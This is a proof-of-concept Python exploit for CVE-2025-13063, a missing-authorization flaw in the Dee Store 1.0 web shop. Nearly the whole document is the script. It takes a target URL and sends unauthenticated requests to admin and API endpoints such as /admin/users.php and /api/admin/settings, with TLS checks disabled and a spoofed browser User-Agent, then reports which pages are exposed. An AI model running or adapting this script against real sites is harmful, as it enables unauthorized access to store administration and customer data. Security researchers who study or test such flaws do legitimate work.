CVE-2025-13063: Dee Store 1.0 存在缺失授权漏洞

# CVE-2025-13063 PoC - Dee Store 1.0 Missing Authorization # Target: DinukaNavaratna Dee Store 1.0 # Vulnerability: Broken Access Control / Missing Authorization import requests import sys def exploit(target_url): """ Exploit CVE-2025-13063: Missing Authorization in Dee Store 1.0 This PoC demonstrates unauthorized access to protected endpoints. """ # Define vulnerable endpoints (identified through enumeration) vulnerable_endpoints = [ "/admin/dashboard.php", "/admin/users.php", "/admin/products.php", "/admin/orders.php", "/api/user/profile", "/api/admin/settings" ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-13063: Missing Authorization") for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint # Send request without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if access is granted without authorization if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Length: {len(response.content)} bytes") # Check for sensitive data exposure if 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): print(f" [!] Sensitive admin interface exposed!") elif response.status_code == 403: print(f"[-] Protected: {url}") else: print(f"[?] Unexpected: {url} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/dee-store") sys.exit(1) target = sys.argv[1] exploit(target) if __name__ == "__main__": main()